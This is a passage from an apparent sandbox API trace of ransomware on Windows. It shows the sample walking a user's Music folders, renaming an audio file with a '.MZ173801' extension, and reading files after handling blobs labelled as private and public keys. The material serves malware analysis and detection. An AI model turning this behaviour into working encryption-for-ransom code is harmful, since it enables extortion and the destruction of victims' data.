lpBuffer=0x250bd40*, lpNumberOfBytesWritten=0x19f48c*=0x3374, lpOverlapped=0x0) returned 1 [0158.736] CloseHandle (hObject=0x290) returned 1 [0158.737] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\xC-u2wjwqhihKd-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\xc-u2wjwqhihkd-.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\xC-u2wjwqhihKd-.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\xc-u2wjwqhihkd-.m4a.mz173801")) returned 1 [0158.738] GetCurrentThreadId () returned 0xab4 [0158.738] GetCurrentThreadId () returned 0xab4 [0158.738] GetCurrentThreadId () returned 0xab4 [0158.738] GetCurrentThreadId () returned 0xab4 [0158.738] GetCurrentThreadId () returned 0xab4 [0158.738] GetCurrentThreadId () returned 0xab4 [0158.738] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088cc90, ftCreationTime.dwHighDateTime=0x1d5e85b, ftLastAccessTime.dwLowDateTime=0xc982e580, ftLastAccessTime.dwHighDateTime=0x1d5e3f1, ftLastWriteTime.dwLowDateTime=0xc982e580, ftLastWriteTime.dwHighDateTime=0x1d5e3f1, nFileSizeHigh=0x0, nFileSizeLow=0x3374, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="xC-u2wjwqhihKd-.m4a", cAlternateFileName="XC-U2W~1.M4A")) returned 0 [0158.738] GetLastError () returned 0x12 [0158.738] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0158.738] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f82b200, ftCreationTime.dwHighDateTime=0x1d5ebdc, ftLastAccessTime.dwLowDateTime=0x88c24716, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88c24716, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0158.738] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0158.738] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0158.738] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f82b200, ftCreationTime.dwHighDateTime=0x1d5ebdc, ftLastAccessTime.dwLowDateTime=0x88c24716, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88c24716, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0158.739] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0158.739] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0158.739] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6769b1f0, ftCreationTime.dwHighDateTime=0x1d5eae8, ftLastAccessTime.dwLowDateTime=0x1da6cae0, ftLastAccessTime.dwHighDateTime=0x1d5f014, ftLastWriteTime.dwLowDateTime=0x1da6cae0, ftLastWriteTime.dwHighDateTime=0x1d5f014, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="5B1wK SInIEY1XG8", cAlternateFileName="5B1WKS~1")) returned 1 [0158.739] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0158.739] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0158.739] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6769b1f0, ftCreationTime.dwHighDateTime=0x1d5eae8, ftLastAccessTime.dwLowDateTime=0x1da6cae0, ftLastAccessTime.dwHighDateTime=0x1d5f014, ftLastWriteTime.dwLowDateTime=0x1da6cae0, ftLastWriteTime.dwHighDateTime=0x1d5f014, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0158.739] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6769b1f0, ftCreationTime.dwHighDateTime=0x1d5eae8, ftLastAccessTime.dwLowDateTime=0x1da6cae0, ftLastAccessTime.dwHighDateTime=0x1d5f014, ftLastWriteTime.dwLowDateTime=0x1da6cae0, ftLastWriteTime.dwHighDateTime=0x1d5f014, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0158.739] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c5f23d0, ftCreationTime.dwHighDateTime=0x1d5edb0, ftLastAccessTime.dwLowDateTime=0xa0b8f40, ftLastAccessTime.dwHighDateTime=0x1d5e5c7, ftLastWriteTime.dwLowDateTime=0xa0b8f40, ftLastWriteTime.dwHighDateTime=0x1d5e5c7, nFileSizeHigh=0x0, nFileSizeLow=0x1ea6, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="g y7h-Rew.wav", cAlternateFileName="GY7H-R~1.WAV")) returned 1 [0158.739] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f264 | out: lpLocalFileTime=0x19f264) returned 1 [0158.739] FileTimeToDosDateTime (in: lpFileTime=0x19f264, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.739] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\g y7h-Rew.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\g y7h-rew.wav"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c5f23d0, ftCreationTime.dwHighDateTime=0x1d5edb0, ftLastAccessTime.dwLowDateTime=0xa0b8f40, ftLastAccessTime.dwHighDateTime=0x1d5e5c7, ftLastWriteTime.dwLowDateTime=0xa0b8f40, ftLastWriteTime.dwHighDateTime=0x1d5e5c7, nFileSizeHigh=0x0, nFileSizeLow=0x1ea6)) returned 1 [0158.739] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\g y7h-Rew.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\g y7h-rew.wav")) returned 0x20 [0158.739] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\g y7h-Rew.wav", dwFileAttributes=0x80) returned 1 [0158.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24f61dc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.742] GetCurrentThreadId () returned 0xab4 [0158.742] GetCurrentThreadId () returned 0xab4 [0158.742] GetCurrentThreadId () returned 0xab4 [0158.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250723c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.742] GetCurrentThreadId () returned 0xab4 [0158.742] GetCurrentThreadId () returned 0xab4 [0158.742] GetCurrentThreadId () returned 0xab4 [0158.743] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\g y7h-Rew.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\g y7h-rew.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.743] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0158.743] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.743] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x1ea6 [0158.743] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.743] ReadFile (in: hFile=0x27c, lpBuffer=0x250f040, nNumberOfBytesToRead=0x1ea6, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x250f040*, lpNumberOfBytesRead=0x19f1b4*=0x1ea6, lpOverlapped=0x0) returned 1 [0158.744] CloseHandle (hObject=0x27c) returned 1 [0158.744] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\g y7h-Rew.wav" (normalized: 